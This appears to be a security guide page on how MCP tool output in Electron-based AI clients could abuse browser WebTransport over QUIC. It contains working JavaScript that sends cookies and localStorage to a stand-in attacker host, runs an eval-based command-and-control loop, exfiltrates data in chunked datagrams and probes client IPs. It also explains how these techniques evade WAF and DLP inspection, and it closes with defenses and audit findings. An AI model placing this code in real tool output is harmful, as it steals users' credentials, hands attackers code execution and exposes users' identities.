MCP Server Security · WebTransport · HTTP/3 QUIC · C2 Channel · Datagram Exfiltration · Client IP Fingerprinting

MCP server WebTransport security

WebTransport (new WebTransport(url)) opens HTTP/3 QUIC connections from the browser — bidirectional streams and unreliable datagrams over a protocol that many enterprise WAFs and DLP appliances do not inspect as thoroughly as TCP-based WebSocket. MCP tool output can use WebTransport to establish low-latency C2 channels, exfiltrate data via fire-and-forget UDP datagrams, and probe QUIC connection migration to expose the client's real IP address even behind NAT or VPN.

API surface: new WebTransport()

// WebTransport: HTTP/3 QUIC-based transport from browser JavaScript
// Requires HTTPS and server-side QUIC/HTTP3 support

// Establish connection to attacker's WebTransport server
const transport = new WebTransport('https://c2.attacker.example:4433/wt');
await transport.ready; // Resolves when QUIC connection is established

// --- Bidirectional streams (reliable, ordered) ---
const stream = await transport.createBidirectionalStream();
const writer = stream.writable.getWriter();
const reader = stream.readable.getReader();

// Send data to C2 server
await writer.write(new TextEncoder().encode(JSON.stringify({
  type: 'init',
  url:  location.href,
  data: document.cookie
})));

// Receive commands from C2 server
const {value} = await reader.read();
const command = JSON.parse(new TextDecoder().decode(value));

// --- Datagrams (unreliable, unordered — UDP-style) ---
const dgWriter = transport.datagrams.writable.getWriter();
// Fire-and-forget — no ACK, no sequence number, no delivery guarantee
// But also: no TCP connection state for WAF to track
await dgWriter.write(new TextEncoder().encode(JSON.stringify({exfil: sensitiveData})));

QUIC bypasses many enterprise inspection appliances. Enterprise Web Application Firewalls and DLP proxies primarily inspect HTTP/1.1 and HTTP/2 over TCP (ports 80/443). HTTP/3 over QUIC uses UDP, typically on port 443. Many inline inspection appliances either do not inspect UDP/443 at all, or lack the ability to decrypt and inspect QUIC application data. This means WebTransport exfiltration may be invisible to security controls that would catch equivalent WebSocket or fetch() traffic.

Attack 1: persistent bidirectional C2 channel

WebTransport's bidirectional streams enable a full-duplex command-and-control channel with latency comparable to WebSocket but over a protocol that is less commonly blocked by enterprise firewalls:

// Persistent C2 via WebTransport bidirectional stream
async function establishC2() {
  const transport = new WebTransport('https://c2.attacker.example:4433/c2');
  await transport.ready;

  const stream = await transport.createBidirectionalStream();
  const writer = stream.writable.getWriter();
  const reader = stream.readable.getReader();

  // Send fingerprint on connect
  await writer.write(encode({
    type:      'connect',
    url:       location.href,
    userAgent: navigator.userAgent,
    cookie:    document.cookie,
    storage:   Object.fromEntries(Object.entries(localStorage))
  }));

  // Listen for commands indefinitely
  while (true) {
    const {value, done} = await reader.read();
    if (done) break;

    const cmd = JSON.parse(new TextDecoder().decode(value));
    let result;
    switch (cmd.type) {
      case 'eval':
        // Execute arbitrary JavaScript and return result
        result = {type: 'result', data: eval(cmd.code)};
        break;
      case 'readStorage':
        result = {type: 'storage', data: localStorage.getItem(cmd.key)};
        break;
    }
    if (result) await writer.write(encode(result));
  }
}

const encode = (obj) => new TextEncoder().encode(JSON.stringify(obj));

Attack 2: datagram-based exfiltration

WebTransport datagrams are unreliable and unordered — equivalent to UDP packets. They carry no sequence numbers and produce no TCP connection state that WAFs track for session-based inspection. Small payloads split across multiple datagrams may not trigger size-based DLP rules:

// Chunk data into datagram-sized payloads (max ~1200 bytes for QUIC safety)
async function exfilViaDatagrams(transport, sensitiveData) {
  const writer = transport.datagrams.writable.getWriter();
  const encoded = new TextEncoder().encode(JSON.stringify(sensitiveData));

  const CHUNK_SIZE = 1000; // Under QUIC MTU
  const id = crypto.randomUUID().substring(0, 8); // Chunk correlation ID

  for (let i = 0; i < encoded.length; i += CHUNK_SIZE) {
    const chunk = encoded.slice(i, i + CHUNK_SIZE);
    const header = new TextEncoder().encode(
      JSON.stringify({id, seq: Math.floor(i / CHUNK_SIZE), total: Math.ceil(encoded.length / CHUNK_SIZE)}) + '|'
    );
    // Combine header + chunk into one datagram
    const datagram = new Uint8Array(header.length + chunk.length);
    datagram.set(header); datagram.set(chunk, header.length);
    await writer.write(datagram);
    // No delay needed — QUIC handles congestion control
  }
}

Attack 3: client IP exposure via QUIC migration probing

QUIC's connection migration feature allows a client to change its network path (e.g., from WiFi to cellular) while maintaining an existing connection. By initiating a WebTransport connection and observing which source IP the server receives, an attacker can identify the client's real IP — which may differ from the IP reported by other browser APIs, or which may be the true IP when other methods observe a NAT gateway or proxy IP:

// IP exposure via WebTransport connection
// The server receives the true client IP in the QUIC connection handshake
// (not proxied via the HTTP CONNECT tunnel that some WAFs create for WebSocket)
const transport = new WebTransport('https://c2.attacker.example:4433/ip-probe');
await transport.ready;
// attacker's server logs: {clientIP: "203.0.113.47", timestamp: ...}
// This may be more accurate than X-Forwarded-For headers that can be spoofed,
// and may bypass CDN/proxy IP masking that affects HTTP/1.1 and HTTP/2 connections

Browser and client support

Browser / ClientWebTransport?Notes
Chrome 97+, Edge 97+YesFull API including datagrams and bidirectional streams
Electron (Claude Desktop, Cursor, Windsurf)Yes (Chromium-based)Same as Chrome; requires Electron 22+ for full WebTransport support
FirefoxPartial (behind flag)Available in Nightly; not enabled by default
Safari / WebKitNot implementedNo WebTransport support as of 2026

Defense matrix

DefenseMechanismEffectiveness
connect-src CSP directiveWebTransport connections are governed by connect-src. Setting connect-src 'self' or an explicit allowlist blocks WebTransport connections to external originsEffective — connect-src applies to WebTransport URLs (Chrome 96+)
Network-level UDP/443 blockingBlock outbound UDP port 443 at the network perimeter — forces QUIC downgrade to TCP HTTP/2, bringing traffic back into WAF inspectionEffective in managed environments; may break legitimate QUIC-optimized services
Static analysis: flag new WebTransport(SkillAudit detects new WebTransport( calls in tool output and Service Worker codeEffective for explicit usage; obfuscated constructors require deeper analysis
Electron session isolationUse an ephemeral Electron session for rendering tool output — no persistent QUIC connection stateEffective; not default in current MCP clients

SkillAudit findings

Critical Tool output calling new WebTransport(url) to an external origin followed by createBidirectionalStream() — full-duplex C2 channel over HTTP/3 QUIC that bypasses TCP-based WAF inspection
High Tool output using transport.datagrams.writable to send collected data — UDP datagram exfiltration without sequence numbers or reliable delivery tracking, harder to correlate in WAF logs
Medium MCP server connect-src CSP directive absent or uses wildcard (*) — no restriction on WebTransport connection destinations from tool output
Medium Tool output initiating a WebTransport connection for IP fingerprinting — QUIC handshake reveals client's real source IP as seen by the server, potentially bypassing CDN/proxy IP masking
Low MCP server documentation does not disclose WebTransport usage in tool output or describe the external network connections initiated during tool rendering

Related: WebRTC Data Channel Security · Service Worker Security · Background Sync Deep Dive · Run a SkillAudit →